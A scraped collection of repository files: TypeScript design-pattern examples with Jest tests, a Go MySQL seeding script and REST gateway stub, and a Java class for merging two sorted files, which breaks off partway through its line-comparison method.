export class UserControllerImpl implements IUserController {
private userService: IUserService;
private isLoggedIn: boolean;
constructor(userService: IUserService) {
this.userService = userService; // as @Autowired in java spring
}
// high-level i.e. Abstraction specific
requestLogin() {
if (this.isLoggedIn) {
console.log('이미 로그인되어 있습니다');
} else {
this.userService.login();
}
}
// low-level i.e. Implementation specific
requestLogout() {
this.userService.logout();
}
}
<file_sep>import Singleton from './index';
test('SingletonPattern', () => {
const s2 = new Singleton();
const s1 = Singleton.getInstance();
const s3 = new Singleton();
const s4 = Singleton.getInstance();
expect(s1.createdAt).toEqual(s2.createdAt);
expect(s2.createdAt).toEqual(s3.createdAt);
expect(s3.createdAt).toEqual(s4.createdAt);
expect(s4.createdAt).toEqual(s1.createdAt);
expect(s1 === s2).toBeTruthy();
expect(s2 === s3).toBeTruthy();
expect(s3 === s4).toBeTruthy();
expect(s4 === s1).toBeTruthy();
});
<file_sep>import {Rectangle, SquareWrapper} from './index';
test('Adapter(Wrapper) Pattern', function () {
const rectangle = new Rectangle(10, 20);
expect(rectangle.getWidth()).toEqual(10);
expect(rectangle.getHeight()).toEqual(20);
expect(rectangle.getSize).toBeDefined();
const square = new SquareWrapper(rectangle);
expect(square.getSize()).toEqual(
Math.pow(
Math.min(rectangle.getWidth(), rectangle.getHeight()),
2
)
);
});
<file_sep>export interface Door {
getDoorSpecification(): string[];
}
export class BasicDoor implements Door {
getDoorSpecification() {
return ['wood'];
}
}
abstract class DoorDecorator implements Door {
private basicDoor: Door;
abstract doorSpec: string;
constructor(door: Door) {
this.basicDoor = door;
}
getDoorSpecification(): string[] {
return this.basicDoor.getDoorSpecification().concat(this.doorSpec);
}
}
export class WindowDoorDecorator extends DoorDecorator {
doorSpec = 'window';
}
export class DogDoorDecorator extends DoorDecorator {
doorSpec = 'dogHole';
}
export class StripeShapeDoorDecorator extends DoorDecorator {
doorSpec = 'stripeShape';
}
<file_sep>export interface Image {
displayImage(): void;
}
export const time = {
timeElapsed: 0
};
export class RealImage implements Image {
constructor() {
time.timeElapsed += 4;
console.log(`real Image constructor (+4s) : ${time.timeElapsed}s`);
}
displayImage(): void {
time.timeElapsed += 2;
console.log(`real image display (+2s) : ${time.timeElapsed}s`);
}
}
export class ProxyImage implements Image {
private realImage: RealImage;
displayImage(): void {
if (!this.realImage) {
this.realImage = new RealImage();
}
time.timeElapsed += 1;
console.log(`proxy image will be enhanced loading (+1s) : ${time.timeElapsed}s`);
}
}
<file_sep>import {BasicDoor, DogDoorDecorator, Door, StripeShapeDoorDecorator, WindowDoorDecorator} from './index';
test('DecoratorPattern', function () {
const basicDoor: Door = new BasicDoor();
const windowDoor: Door = new WindowDoorDecorator(basicDoor);
const windowDoorWithDogHole: Door = new DogDoorDecorator(windowDoor);
const stripeWindowDoorWithDogHole: Door = new StripeShapeDoorDecorator(windowDoorWithDogHole);
expect(stripeWindowDoorWithDogHole.getDoorSpecification()).toEqual(
expect.arrayContaining(['wood', 'window', 'dogHole', 'stripeShape'])
);
});
<file_sep>const vehicle = {
getType() {
console.log('This vehicle\'s type is ', this.type);
},
getModel() {
console.log('This model is ', this.model || 'unknown');
}
};
// vehicle 의 프로퍼티를 프로토타입형태로 상속받으면서 타입이라는 프로퍼티 추가. 바로 객체가
export const Car = Object.create(vehicle, {
type: {
value: 'car',
writable: false,
enumerable: true,
}
});
// 즉시실행형태로, 빈 함수객체를 만들고 그 함수객체의 프로토타입을 기선언된 객체로 연결.
// 그리고 type 받아 신규 오브젝트를 반환하는 객체 구현
export const Bike = (function () {
// eslint-disable-next-line @typescript-eslint/no-empty-function
function F() {
}
// Bike 는 즉시실행되어, vehicle 을 프로토타입으로 가지는 새로운 객체를 만들어내는 함수를 반환한다.
return function (model: string) {
F.prototype = vehicle;
const newObj = new F();
newObj.type = 'bike';
newObj.model = model;
return newObj;
};
})();
<file_sep>import ColorMaker from './index';
test('FlyweightPattern', () => {
const colorMaker = new ColorMaker();
const red = colorMaker.getColorObject('red');
const green = colorMaker.getColorObject('green');
const blue = colorMaker.getColorObject('blue');
const red1 = colorMaker.getColorObject('red');
const red2 = colorMaker.getColorObject('red');
const red3 = colorMaker.getColorObject('red');
const red4 = colorMaker.getColorObject('red');
expect(red).toEqual(red1);
expect(red).toEqual(red2);
expect(red).toEqual(red3);
expect(red).toEqual(red4);
});
<file_sep>/**
* 베이스가 되는 인터페이스.
* 공통함수인 render 를 가지고 있다.
* 이 render 를 그냥 실행시키기만 하면 재미없으니 특정 변경값에 해당되는 컴포넌트만 반응하도록 만들어보았다.
*/
export interface Component {
name: string;
props?: string[];
render(changes: string[]): void;
}
/**
* CompositeComponent 가 된다.
* 이 컴포넌트는 동일한 인터페이스인 Component 를 자식으로 가질 수 있으며, render 라는 공통 함수를 실행하면
* 자신이 자식으로 가지고 있는 모든 컴포넌트의 render 를 실행한다.
*/
export class SlotComponent implements Component {
private slots: Component[] = [];
name: string;
props: string[];
constructor(name: string, props?: string[]) {
this.name = name;
this.props = props || [];
}
addComponent(component: Component): void {
this.slots.push(component);
}
render(changes: string[]): void {
if (this.props?.find((prop) => changes.includes(prop))) {
console.log(`${this.name} is rendered`);
}
this.slots.forEach((slot) => {
slot.render(changes);
});
}
}
/**
* Leaf 노드가 된다.
* 이 컴포넌트는 더이상 하위 컴포넌트가 존재하지 않는다.
*/
export class TerminalComponent implements Component {
name: string;
props: string[];
constructor(name: string, props?: string[]) {
this.name = name;
this.props = props || [];
}
render(changes: string[]): void {
if (this.props?.find((prop) => changes.includes(prop))) {
console.log(`${this.name} is rendered`);
}
}
}
export default function getComposite(): Component {
const body = new SlotComponent('body');
const header = new SlotComponent('header', ['headerTitle', 'headerContent']);
const content = new SlotComponent('div');
const span = new TerminalComponent('span', ['spanContent']);
const checkbox = new TerminalComponent('checkbox', ['spanContent', 'checked']);
const notice = new SlotComponent('noticeDiv', ['noticeStyle']);
const textbox = new TerminalComponent('noticeText', ['noticeText']);
body.addComponent(header);
body.addComponent(content);
content.addComponent(span);
content.addComponent(checkbox);
content.addComponent(notice);
content.addComponent(textbox);
return body;
}
<file_sep>type ColorObject = {
name: string;
key: number;
}
/* flyweight pattern factory */
export default class ColorMaker {
private cache: Map<string, ColorObject> = new Map();
getColorObject(color: string) {
if (this.cache.has(color)) {
console.log('cached object returned ', color);
return this.cache.get(color);
}
const colorObject = {
name: color,
key: Array.prototype.reduce.call(color, (result, char) => {
return result + char.charCodeAt(0);
}, 0)
};
console.log('new object created. ', color);
this.cache.set(color, colorObject);
return colorObject;
}
}
<file_sep>export interface Sizable {
getSize(): number;
}
export class Rectangle implements Sizable {
private readonly width: number;
private readonly height: number;
constructor(width: number, height: number) {
this.width = width;
this.height = height;
}
getWidth(): number {
return this.width;
}
getHeight(): number {
return this.height;
}
getSize(): number {
return this.width * this.height;
}
}
/**
* 이 클래스가 Rectangle 의 Adapter, 혹은 Wrapper 가 된다.
* 이 클래스는 Rectangle 의 짧은 변을 기준으로 정사각형을 나타내는 클래스이다.
*/
export class SquareWrapper implements Sizable {
private readonly side: number;
constructor(rectangle: Rectangle) {
this.side = Math.min(rectangle.getWidth(), rectangle.getHeight());
}
getSize(): number {
return this.side * this.side;
}
}
<file_sep>import {time, RealImage, ProxyImage} from './index';
describe('ProxyPattern', () => {
beforeEach(() => {
time.timeElapsed = 0;
});
test('without Proxy', () => {
const image = new RealImage();
image.displayImage();
image.displayImage();
image.displayImage();
image.displayImage();
image.displayImage();
console.log('elapsed time: ', time.timeElapsed);
});
test('with Proxy', () => {
const image = new ProxyImage();
image.displayImage();
image.displayImage();
image.displayImage();
image.displayImage();
image.displayImage();
console.log('elapsed time: ', time.timeElapsed);
});
});
| 09889375ae3052401fa3459be795f0d97c08733a | [
"TypeScript"
] | 18 | TypeScript | extracold1209/design-pattern-typescript | 01f52bd3921d964113a310649d965909b54773fe | bd48907d537121fad1f2e1741ab67a56eda30580 |
refs/heads/master | <repo_name>cflynn07/golang-db-gateway-example<file_sep>/README.md
golang-db-gateway-example
=========================
Simple project to test a database gateway RESTFul API service and client service.
<file_sep>/seed_mysql/seed_mysql.go
package main
import (
"database/sql"
"fmt"
_ "github.com/go-sql-driver/mysql"
"os"
)
func main() {
connString := os.ExpandEnv("root:${MYSQL_ROOT_PASSWORD}@tcp(mysql:3306)/${MYSQL_DATABASE}")
db, err := sql.Open(
"mysql",
connString,
)
fmt.Printf(connString + "\n")
checkErr(err)
stmt, err := db.Prepare("CREATE TABLE IF NOT EXISTS `userinfo` (`uid` INT(10))")
checkErr(err)
_, err = stmt.Exec()
checkErr(err)
fmt.Printf("Success!")
}
func checkErr(err error) {
if err != nil {
panic(err)
}
}
<file_sep>/gateway/gateway.go
package main
import (
"database/sql"
"encoding/json"
"fmt"
_ "github.com/go-sql-driver/mysql"
"github.com/gorilla/mux"
"net/http"
"os"
)
var db *sql.DB
var e error
func main() {
fmt.Printf("gateway started\n")
fmt.Printf("gateway started\n")
fmt.Printf("gateway started\n")
r := mux.NewRouter()
db, e = sql.Open(
"mysql",
os.ExpandEnv("root:${MYSQL_SERVER_PASSWORD}@mysql_server:3306/${MYSQL_DATABASE}"),
)
fmt.Print("error is", e)
r.HandleFunc("/todos", getTodos).Methods("GET")
fmt.Printf("gateway started")
http.ListenAndServe(":8080", r)
}
type todo struct{}
func getTodos(w http.ResponseWriter, r *http.Request) {
t := new(todo)
s, _ := json.Marshal(t)
w.Header().Set("Content-Type", "application/json; charset=UTF-8")
fmt.Fprint(w, string(s))
}
| ee647e00854afb783641d83a9cc14faeebfed57e | [
"Markdown",
"Go"
] | 3 | Markdown | cflynn07/golang-db-gateway-example | 27d1937dd3d494fdae630dc9f4fa925cd3e27fce | 5cad304dc2af862758d5ab7be6ff1e3bf5c4ad51 |
refs/heads/master | <file_sep>
from flask import render_template
from . import main
from ..request import get_news,get_article
# Views
@main.route('/')
def index():
'''
View root page function that returns the index page and its data
'''
# Getting news
my_news = get_news()
return render_template('index.html',news = my_news)
@main.route('/articles/<id>')
def article(id):
'''
View movie page function that returns the movie details page and its data
'''
my_articles = get_article(id)
return render_template('article.html', artic = my_articles)<file_sep>
# NEWS HIGHLIGHT
This is an application that allows a user to view the top news sources and view there associated articles and also have a link to the source website.
### Author
<NAME>
# Behaviour Driven Development(BDD)
| Behaviour | Input | Output |
| ------------------------ |:----------------------:| --------------------------------------------------:|
| Login to the application | view the news sources and click to view articles|show the associated articles and the link to the website |
## Installing
To view the application go to [click here]( https://dantenews.herokuapp.com/)
- Step 1: Clone this repo :git clone (https://github.com/danielevans-999/news-highlight)
- step 2: Open the repo using your text editor e.g atom or vscode
- step 3:Run the the application in the terminal using the ./start.sh command
- step 4:Click the link in the terminal result to view the the website
# Technologies Used
- Vanilla Python.
- Flask (Python framework)
- HTML for the mark up pages
- CSS for stylying
## Support and contact details
>The application is an open-source product if you want to improve it or in an event of a bug contact this
> [email](<EMAIL>) .
### License
>You can check out the license [click here](https://choosealicense.com/licenses/mit/)
This project is licensed under the terms of **MIT**
Copyright (c) 2019 **<NAME>**<file_sep>
class News:
'''
News clas to define News objects
'''
def __init__(self,name,description,url,category,language,country,id):
self.name = name
self.description = description
self.url = url
self.category = category
self.language = language
self.country = country
self.id = id
class Article:
'''
New class to define article objects
'''
def __init__(self,imagerurl,description,time,author,url):
self.imagerurl = imagerurl
self.description = description
self.time = time
self.author = author
self.site = url
<file_sep>
export NEWS_API_KEY=1b8a9f88e68a4dc7882c1e635d671e3e
python3.6 manage.py server<file_sep>
NEWS_API_KEY = '1b8a9f88e68a4dc7882c1e635d671e3e'<file_sep>
import urllib.request,json
from .models import News,Article
# Getting api key
api_key = None
#Getting base url
base_url = None
#Getting article base url
article_base_url = None
def configure_request(app):
global api_key,base_url,article_base_url
api_key = app.config['NEWS_API_KEY']
base_url = app.config['NEWS_API_BASE_URL']
article_base_url = app.config['ARTICLE_API_BASE_URL']
def get_news():
'''
Function that gets the json response to our url request
'''
get_news_url = base_url.format(api_key)
with urllib.request.urlopen(get_news_url) as url:
get_news_data = url.read()
get_news_response = json.loads(get_news_data)
news_results = None
if get_news_response['sources']:
news_results_list = get_news_response['sources']
news_results = process_results(news_results_list)
return news_results
def process_results(news_list):
'''
Function that processes the news result and transform them to a list of Objects
Args:
news_list: A list of dictionaries that contain news details
Returns :
news_results: A list of news objects
'''
news_results = []
for news_item in news_list:
name = news_item.get('name')
description = news_item.get('description')
url = news_item.get('url')
category = news_item.get('category')
language = news_item.get('language')
country = news_item.get('country')
id = news_item.get('id')
if name:
news_object = News(name,description,url,category,language,country,id)
news_results.append(news_object)
return news_results
def get_article(id):
'''
Function that gets the json response to our url request
'''
get_article_url = article_base_url.format(id,api_key)
with urllib.request.urlopen(get_article_url) as url:
get_article_data = url.read()
get_article_response = json.loads(get_article_data)
# article_results = None
if get_article_response['articles']:
article_results_list = get_article_response['articles']
article_results = process_result(article_results_list)
return article_results
def process_result(article_list):
'''
Function that processes the article result and transform them to a list of Objects
Args:
article_list: A list of dictionaries that contain article details
Returns :
article_results: A list of article objects
'''
article_results = []
for article_items in article_list:
image = article_items.get("urlToImage")
description = article_items.get('description')
time = article_items.get('publishedAt')
author = article_items.get('author')
site = article_items.get('url')
if image:
article_object = Article(image,description,time,author,site)
article_results.append(article_object)
return article_results
| 4843fa36f86dda1be3649b819fb3f7e4d1ec7c21 | [
"Markdown",
"Python",
"Shell"
] | 6 | Python | danielevans-999/news-highlight | 9c87b19a7d7fa8616f05376713fad9fb7245251e | 4fdfb1e1970c47665eaf1f726d407911f41b5563 |
refs/heads/main | <file_sep>#include <ESP8266WiFi.h>
#include <FirebaseArduino.h>
#define FIREBASE_HOST "tugasakhirdft-default-rtdb.firebaseio.com"
#define FIREBASE_AUTH "<KEY>"
#define WIFI_SSID "Redot4"
#define WIFI_PASSWORD "<PASSWORD>"
int led = D1;
int pump = D2;
int wave = D5;
int trigger_pin1 = D4;
int trigger_pin2 = D6;
int echo_pin1 = D7;
int echo_pin2 = D8;
int led_stat;
int pump_stat;
int wave_stat;
int time1;
int time2;
int airnutrisi;
int airtendon;
String values,sensor_data;
void setup() {
Serial.begin(9600);
pinMode(led, OUTPUT);
pinMode(pump, OUTPUT);
pinMode(wave, OUTPUT);
pinMode(trigger_pin1, OUTPUT);
pinMode(echo_pin1, INPUT);
pinMode(trigger_pin2, OUTPUT);
pinMode(echo_pin2, INPUT);
delay(100);
WiFi.begin(WIFI_SSID, WIFI_PASSWORD);
while (WiFi.status() != WL_CONNECTED) {
delay(1000);
}
Firebase.begin(FIREBASE_HOST, FIREBASE_AUTH);
}
void loop() {
bool Sr =false;
while(Serial.available()){
sensor_data=Serial.readString();
Sr=true;
}
delay(1000);
if(Sr==true){
values=sensor_data;
int firstCommaIndex = values.indexOf(',');
int secondCommaIndex = values.indexOf(',', firstCommaIndex + 1);
String pH_value = values.substring(0, firstCommaIndex);
String ppm_value = values.substring(firstCommaIndex + 1, secondCommaIndex);
Firebase.setString("pH_value", pH_value);
delay(1000);
Firebase.setString("ppm_value", ppm_value);
delay(1000);
if (Firebase.failed()) {
return;
}
}
air_nutrisi();
air_tendon();
led_relay();
pump_relay();
wave_relay();
}
void led_relay(){
led_stat = Firebase.getInt("led_status");
if(led_stat == 1){
digitalWrite(led, HIGH);
return;
delay(100);
}
else{
digitalWrite(led, LOW);
return;
}
}
void pump_relay(){
pump_stat = Firebase.getInt("pump_status");
if(pump_stat == 1){
digitalWrite(pump, HIGH);
return;
delay(100);
}
else{
digitalWrite(pump, LOW);
return;
}
}
void wave_relay(){
wave_stat = Firebase.getInt("wave_status");
if(wave_stat == 1){
digitalWrite(wave, HIGH);
return;
delay(100);
}
else{
digitalWrite(wave, LOW);
return;
}
}
void air_nutrisi(){
digitalWrite(trigger_pin1, HIGH);
delayMicroseconds(10);
digitalWrite(trigger_pin1, LOW);
time1 = pulseIn(echo_pin1, HIGH);
airnutrisi = (time1*0.034/2);
Firebase.setInt("air_nutrisi", airnutrisi);
delay(1000);
}
void air_tendon(){
digitalWrite(trigger_pin2, HIGH);
delayMicroseconds(10);
digitalWrite(trigger_pin2, LOW);
time2 = pulseIn(echo_pin2, HIGH);
airtendon = (time2*0.034/2);
Firebase.setInt("air_tendon", airtendon);
delay(1000);
}
| 0e60162fa227216610258be4ff85de66c6546141 | [
"C++"
] | 1 | C++ | davyrh7/Hydroponic-NodeMCU | 24b250c1d23d0874163bd941b6e42d448a8b037a | a2d5ef2dda1494e7c8cd45429d705e4bcbfe51ab |
refs/heads/master | <repo_name>thedemodev/checkout-sales-demo<file_sep>/README.md
# Sales demo of Stripe Checkout
Sales demo of Stripe Checkout with different locales around the world.

This demo shows you how to easily create a checkout session to see what Checkout might look like for customers from around the world:
- US: English; USD; cards, Apple Pay & Google Pay
- DE: German; EUR; cards, Apple Pay & Google Pay (soon: Giropay)
- NL: Dutch; EUR; cards, Apple Pay & Google Pay, iDEAL
- MY: Malay; MYR; cards, Apple Pay & Google Pay (soon fpx)
- FR: French; EUR; cards, Apple Pay & Google Pay
- PL: Polish; PLN; cards, Apple Pay & Google Pay (soon P24)
## How to run locally
```
git clone <EMAIL>:stripe-samples/checkout-with-multiple-locales.git
npm install
npm start
```
<file_sep>/server.js
require("dotenv").config({ path: ".env" });
const express = require("express");
var bodyParser = require("body-parser");
const app = express();
const { resolve } = require("path");
const stripe = require("stripe")(process.env.STRIPE_SECRET_KEY);
const port = process.env.PORT | 4242;
app.use(bodyParser.json());
app.use(express.static("static"));
app.get("/", (req, res) => {
const path = resolve("static/index.html");
res.sendFile(path);
});
app.get("/config", (req, res) => {
res.send({
publicKey: process.env.STRIPE_PUBLISHABLE_KEY,
basePrice: process.env.BASE_PRICE,
currency: process.env.CURRENCY
});
});
app.get("/checkout-session", async (req, res) => {
const { sessionId } = req.query;
const session = await stripe.checkout.sessions.retrieve(sessionId);
res.send(session);
});
app.post("/checkout-session", async (req, res) => {
try {
const domainURL = req.headers.origin;
let currency = "USD";
const { locale } = req.body;
let paymentMethods = ["card"];
if (locale === "nl") {
paymentMethods.push("ideal");
currency = "EUR";
}
if (locale === "uk") {
paymentMethods.push("bacs_debit");
currency = "GBP";
}
if (locale === "de") {
currency = "EUR";
}
if (locale === "ms") {
currency = "MYR";
}
if (locale === "fr") {
currency = "EUR";
}
if (locale === "pl") {
currency = "PLN";
}
const quantity = 2;
const session = await stripe.checkout.sessions.create({
payment_method_types: paymentMethods,
locale: locale,
line_items: [
{
name: "Kitchen counter stools",
images: ["https://stripe.com/img/v3/checkout/chairs.jpg"],
quantity: quantity,
currency: currency,
amount: 8900
}
],
success_url: `${domainURL}/success.html?session_id={CHECKOUT_SESSION_ID}`,
cancel_url: `${domainURL}/canceled.html`
});
res.send({
sessionId: session.id
});
} catch (err) {
res.status(500);
res.send({
error: err.message
});
}
});
app.listen(port, () =>
console.log(`Server listening on http://localhost:${port}!`)
);
| 006ba0a4ca2f867d3a5688138f9a87b93fe7e7e3 | [
"Markdown",
"JavaScript"
] | 2 | Markdown | thedemodev/checkout-sales-demo | 14bc77b69958aa1f34a8151aea5864d82e6f1ce2 | 8ac22db2427a8fa6464224ab037e3433e3615518 |
refs/heads/main | <file_sep>// //js变量声明
// var record = {
// tags: ['11', '22'],
// notes: 'xxx',
// type: '-',
// amount: '100'
// };
type RootState = {
recordList: RecordItem[],
createRecordError: Error | null ,
createTagError:Error|null,
tagList: Tag[],
currentTag?: Tag
}
//ts类型声明,我就要类型,不要值
//一个key,对应一个类型
type RecordItem = {
tags: Tag[],
nodes: string,
type: string,
amount: number,
createdAt?: string
}
type Tag = {
id: string
name: string
}
type TagListModel = {
data: Tag[]
fetch: () => Tag[]
create: (name: string) => 'success' | 'duplicated' //联合类型 success表示成功 , duplicated表示重复
update: (id: string, name: string) => 'success' | 'not found' | 'duplicated'
remove: (id: string) => boolean
save: () => void
}
interface Window {
//
} | 08ad601d3cd6c771b5d43969fa02c0e8c57b574b | [
"TypeScript"
] | 1 | TypeScript | suweih/morney-demo | 425fe6ded92d88b9dfc1220d70f5318b7f97cd88 | 738b43bd0db8f266650f81f4f26b1a12065ff91b |
refs/heads/master | <repo_name>jmrmgn/basic-django-ajax<file_sep>/main/urls.py
from django.urls import path, include
from . import views
app_name = "main"
urlpatterns = [
path('', views.index, name="index"),
path('insert/', views.insert_data, name='insert_data'),
path('get_user/', views.get_data, name='get_data')
]<file_sep>/main/views.py
import json
from django.http import HttpResponse
from django.shortcuts import render, redirect
from django.contrib import messages
from django.urls import reverse
# Forms
from .forms import UserForm
# Models
from .models import User
def index(request):
form = UserForm(request.POST or None)
if request.method == 'POST':
if form.is_valid():
form.save()
messages.success(request, 'Added successfully!')
redirect_url = reverse('main:index')
return redirect(redirect_url)
context = {
'form': form
}
return render(request, 'main/index.html', context)
def insert_data(request):
firstname = request.POST.get('firstname')
lastname = request.POST.get('lastname')
try:
if firstname and lastname:
new_user = User()
new_user.firstname = firstname
new_user.lastname = lastname
new_user.save()
data = {
'msg': True,
}
except:
data = {
'msg': False,
}
dump = json.dumps(data)
return HttpResponse(dump, content_type='application/json')
def get_data(request):
user = User.objects.all().count()
data = {
'number': user,
}
dump = json.dumps(data)
return HttpResponse(dump, content_type='application/json')
<file_sep>/README.md
# basic-django-ajax
This is a simple module that will fetch and insert data using jquery-ajax
<file_sep>/requirements.txt
Django==2.0.8
mysqlclient==1.3.13
pytz==2018.7
<file_sep>/main/forms.py
from django import forms
from .models import User
class UserForm(forms.ModelForm):
firstname = forms.CharField(
label = "Firstname",
widget = forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Enter firstname'})
)
lastname = forms.CharField(
label = "Lastname",
widget = forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Enter lastname'})
)
class Meta:
model = User
fields = ['firstname', 'lastname']<file_sep>/main/models.py
from django.db import models
class User(models.Model):
firstname = models.CharField(max_length=255)
lastname = models.CharField(max_length=255)
def __str__(self):
return self.name
| 3f69c23a7c4d9c4d6fb9ac89488a26925f47f328 | [
"Markdown",
"Python",
"Text"
] | 6 | Python | jmrmgn/basic-django-ajax | 1401ee11716eeb6229585e209ffaecd2fdf0d157 | bdf5499506663e31288e6221cba7ebff61615b85 |
refs/heads/master | <file_sep>Simple unit test that shows that JPA picks a connection from the connection pool as soon as a transaction is started.
Conclusions:
* Creating an Entity Manager doesn't open a connection
* Starting a transaction opens immediately a connection
* Committing/Rollbacking a transaction doesn't release the connection
* Closing an Entity Manager release immediately the connection (if there is no active transaction)
* Once a connection is associated with an Entity Manager, it is released only by a call to em.close()<file_sep>import static org.hamcrest.CoreMatchers.is;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertThat;
import static org.junit.Assert.assertTrue;
import java.lang.management.ManagementFactory;
import javax.management.Attribute;
import javax.management.AttributeList;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.persistence.EntityManager;
import javax.persistence.EntityManagerFactory;
import javax.persistence.Persistence;
import javax.persistence.Query;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import com.mchange.v2.c3p0.PoolBackedDataSource;
/**
* Created by The eXo Platform SAS Author : eXoPlatform <EMAIL>
* 9/24/15
*/
public class EntityManagerTest {
private EntityManagerFactory emf;
@Before
public void initEmf() {
emf = Persistence.createEntityManagerFactory("exo-pu");
}
@After
public void closeEmf() {
emf.close();
}
@Test
public void createEM_doesntOpenConnection() throws Exception {
// Given
// When
EntityManager em = emf.createEntityManager();
// Then
Thread.sleep(2*1000L);
assertThat(getNumBusyConnection(), is(0));
em.close();
}
@Test
public void select_doesntImmediatelyReleaseConnection() throws Exception {
// Given
EntityManager em = emf.createEntityManager();
// When
Query query = em.createNativeQuery("SELECT 1 FROM INFORMATION_SCHEMA.SYSTEM_USERS");
Integer one = (Integer) query.getSingleResult();
assertThat(one, is(1));
// Then
Thread.sleep(2 * 1000L);
assertThat(getNumBusyConnection(), is(1));
em.close();
}
@Test
public void clear_doesntImmediatelyReleaseConnection() throws Exception {
// Given
EntityManager em = emf.createEntityManager();
Query query = em.createNativeQuery("SELECT 1 FROM INFORMATION_SCHEMA.SYSTEM_USERS");
Integer one = (Integer) query.getSingleResult();
assertThat(one, is(1));
// When
em.clear();
// Then
Thread.sleep(2 * 1000L);
assertThat(getNumBusyConnection(), is(0));
em.close();
}
@Test
public void beginTransaction_openConnection() throws Exception {
// Given
EntityManager em = emf.createEntityManager();
// When
em.getTransaction().begin();
// Then
Thread.sleep(2*1000L);
assertThat(getNumBusyConnection(), is(1));
em.close();
}
@Test
public void commitTransaction_doesntCloseConnection() throws Exception {
// Given
EntityManager em = emf.createEntityManager();
em.getTransaction().begin();
assertThat(getNumBusyConnection(), is(1));
// When
em.getTransaction().commit();
// Then
Thread.sleep(2*1000L);
assertThat(getNumBusyConnection(), is(1));
em.close();
}
@Test
public void rollbackTransaction_doesntCloseConnection() throws Exception {
// Given
EntityManager em = emf.createEntityManager();
em.getTransaction().begin();
assertThat(getNumBusyConnection(), is(1));
// When
em.getTransaction().rollback();
// Then
Thread.sleep(2*1000L);
assertThat(getNumBusyConnection(), is(1));
em.close();
}
@Test
public void closeEM_afterCloseTransaction_closeConnection() throws Exception {
// Given
EntityManager em = emf.createEntityManager();
em.getTransaction().begin();
assertThat(getNumBusyConnection(), is(1));
em.getTransaction().commit();
assertThat(getNumBusyConnection(), is(1));
// When
em.close();
// Then
Thread.sleep(2 * 1000L);
assertThat(getNumBusyConnection(), is(0));
}
@Test
public void closeEmDuringTransaction_doesntImmediatelyReleaseConnection() throws Exception {
// Given
EntityManager em = emf.createEntityManager();
em.getTransaction().begin();
// When
em.close();
// Then
assertFalse(em.isOpen());
assertTrue(em.getTransaction().isActive());
assertThat(getNumBusyConnection(), is(1));
em.getTransaction().commit();
assertThat(getNumBusyConnection(), is(0));
}
private int getNumBusyConnection() throws Exception {
MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
ObjectName name = ObjectName.getInstance("com.mchange.v2.c3p0:type=C3P0Registry");
AttributeList list = mbs.getAttributes(name, new String[] { "AllPooledDataSources" });
PoolBackedDataSource dataSource = (PoolBackedDataSource) ((java.util.Set) ((Attribute) list.get(0)).getValue()).iterator()
.next();
String identityToken = dataSource.getIdentityToken();
ObjectName nameDs = ObjectName.getInstance("com.mchange.v2.c3p0:type=PooledDataSource[" + identityToken + "]");
AttributeList numBusylist = mbs.getAttributes(nameDs, new String[] { "numBusyConnectionsAllUsers" });
return (Integer) ((Attribute) numBusylist.get(0)).getValue();
}
}
| d804f2d917f48843662b7e70d77ec30b9e7290eb | [
"Markdown",
"Java"
] | 2 | Markdown | benoitdechateauvieux/test-useOfConnectionPool-JPA | 5114efb97456adeee4c0d90be3fa7f4974d4fcd2 | 9b6af9a1830de72b61f83a518947dc389b8ad5b6 |
refs/heads/master | <file_sep>package com.company;
import java.io.*;
import java.util.Scanner;
/**
* Created by mialiu on 3/19/16.
*/
public class MergeTwoFiles {
private String _firstFile;
private String _secondFile;
private String _outputFile = "";
public MergeTwoFiles(String file1, String file2){
_firstFile = file1;
_secondFile = file2;
_outputFile = file1 + ".a";
}
public String GetOutPutFileName(){
return _outputFile;
}
public void Run() {
System.out.println("M:start to merge " + _firstFile + " and " + _secondFile);
FileReader stream1 = null;
FileReader stream2 = null;
//Scanner scanner1 = null;
//Scanner scanner2 = null;
FileWriter writer = null;
try {
stream1 = new FileReader(_firstFile);
BufferedReader bs1 = new BufferedReader(stream1);
//scanner1 = new Scanner(stream1);
stream2 = new FileReader(_secondFile);
BufferedReader bs2 = new BufferedReader(stream2);
//scanner2 = new Scanner(stream2);
writer = new FileWriter(_outputFile, false);
BufferedWriter bw = new BufferedWriter(writer);
/*
for (;scanner1.hasNextLine() && scanner2.hasNextLine();){
String line1 =
}
*/
String line1 = "";
String line2 = "";
while (true) {
if (line1.isEmpty()){
line1 = bs1.readLine();
if (line1 == null) {
break;
}
}
if (line2.isEmpty()){
line2 = bs2.readLine();
if (line2 == null) {
break;
}
}
if (CompareLines(line1, line2) <= 0) {
bw.write(line1 + "\r\n");
line1 = "";
} else {
bw.write(line2 + "\r\n");
line2 = "";
}
}
if (line1 != null && !line1.isEmpty()) {
bw.write(line1 + "\r\n");
}
if (line2 != null && !line2.isEmpty()) {
bw.write(line2 + "\r\n");
}
while ((line1 = bs1.readLine()) != null) {
bw.write(line1 + "\r\n");
}
while ((line2 = bs2.readLine()) != null) {
bw.write(line2 + "\r\n");
}
bs1.close();
bs2.close();
bw.flush();
bw.close();
/*
while (bs1.hasNextLine()){
if (line1.isEmpty()) {
line1 = bs1.nextLine();
}
if (!scanner2.hasNextLine()) {
writer.write(line1 + "\r\n");
line1 = "";
} else {
if (line2.isEmpty()) {
line2 = scanner2.nextLine();
}
if (CompareLines(line1, line2) <= 0) {
writer.write(line1 + "\r\n");
line1 = "";
} else {
writer.write(line2 + "\r\n");
line2 = "";
}
}
}
if (!line2.isEmpty()) {
writer.write(line2 + "\r\n");
}
if (!line1.isEmpty()) {
writer.write(line1 + "\r\n");
}
while (scanner2.hasNextLine()) {
String line = scanner2.nextLine();
writer.write(line + "\r\n");
}
writer.close();
stream1.close();
stream2.close();
scanner1.close();
scanner2.close();
*/
DeleteFile(_firstFile);
DeleteFile(_secondFile);
} catch (Exception ex) {
ex.printStackTrace();
}
System.out.println("Merging " + _firstFile + " and " + _secondFile + " into " + _outputFile + " has finished.");
}
protected int CompareLines(String line1, String line2){
int keyNum = 10;
/*
if (line1.length()<98) {
System.out.println("M:length: " + line1.length() + '\t' + line1);
return -1;
}
if (line2.length()<98) {
System.out.println("M:length: " + line2.length() + '\t' + line2);
return 1;
}
*/
String key1 = line1.substring(0, keyNum);
String key2 = line2.substring(0, keyNum);
// Return: a negative integer, zero, or a positive integer
